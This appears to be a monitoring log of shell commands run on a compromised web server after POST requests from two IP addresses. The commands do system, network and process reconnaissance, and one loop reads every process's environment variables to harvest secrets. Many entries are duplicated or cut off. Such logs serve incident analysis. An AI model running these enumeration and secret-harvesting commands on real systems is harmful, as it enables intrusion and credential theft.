| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | lscpu |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device ; sh -c
echo "== lscpu"; lscpu 2>/dev/null
echo "== nproc"; nproc 2>/dev/null
echo "== cpuinfo"; egrep -i "^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags)" /proc/cpuinfo 2>/dev/null
echo "== online"; cat /sys/device |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | nproc |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | id -un |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | getent passwd www-data |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | getconf LONG_BIT |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
; sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2>/dev/null
|
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | id |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/os-release |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | uname -r |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | whoami |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | id |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | uname -m |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | uname -a |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
date -u
id; whoami; hostname; hostname -f 2>/dev/null
uname -a; uname -m; uname -r
cat /etc/os-release 2>/dev/null
cat /etc/debian_version /etc/alpine-release /etc/redhat-release 2>/dev/null
getconf LONG_BIT 2>/dev/null
uptime; cat /proc/uptime
echo "== virt"; systemd-detect-virt 2 |
| 2026-10-31 01:23:21 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/debian_version /etc/alpine-release /etc/redhat-release |
| 2026-10-31 01:23:24 | Not attributed | Not attributed | sh -> sh | find /tmp/t1/git -maxdepth 1 -mindepth 1 -type d |
| 2026-10-31 01:23:24 | Not attributed | Not attributed | sh -> sh | ps -e --no-headers |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | lsblk |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /o |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | df -iP |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm ; sh -c
echo "== df"; df -hP 2>/dev/null; echo "== inodes"; df -iP 2>/dev/null
echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /opt /srv /tm |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | df -hP |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | free -m |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou ; sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /sys/fs/cgrou |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== free"; free -m 2>/dev/null; free -h 2>/dev/null
echo "== meminfo"; egrep "^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize)" /proc/meminfo 2>/dev/null
echo "== cgroup"; for f in /sys/fs/cgroup/memory.max /s |
| 2026-10-31 01:23:26 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | free -h |
| 2026-10-31 01:23:29 | Not attributed | Not attributed | sh -> sh | find . -type f -printf %s\t%TY-%Tm-%Td %TH:%TM\t%p\n |
| 2026-10-31 01:23:29 | Not attributed | Not attributed | sh -> sh | find . -type f ! -name manifest.tsv -print0 |
| 2026-10-31 01:23:31 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n |
| 2026-10-31 01:23:53 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | hostname -I |
| 2026-10-31 01:23:53 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ |
| 2026-10-31 01:23:53 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do print |
| 2026-10-31 01:23:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/resolv.conf |
| 2026-10-31 01:23:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /etc/hosts |
| 2026-10-31 01:23:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /proc/net/tcp /proc/net/tcp6 |
| 2026-10-31 01:23:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /proc/net/udp /proc/net/udp6 |
| 2026-10-31 01:23:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /proc/net/route |
| 2026-10-31 01:23:56 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | cat /proc/net/arp |
| 2026-10-31 01:24:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss |
| 2026-10-31 01:24:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ps auxww |
| 2026-10-31 01:24:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro |
| 2026-10-31 01:24:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load |
| 2026-10-31 01:24:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | awk
function nib(c){return index("0123456789ABCDEF", toupper(c))-1}
function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v}
function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))}
function st(c){if(c==" |
| 2026-10-31 01:24:01 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | timeout -> timeout | sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head |
| 2026-10-31 01:24:06 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:23:08 to 01:25:01 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent | sh -> sh | timeout 40 sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
|
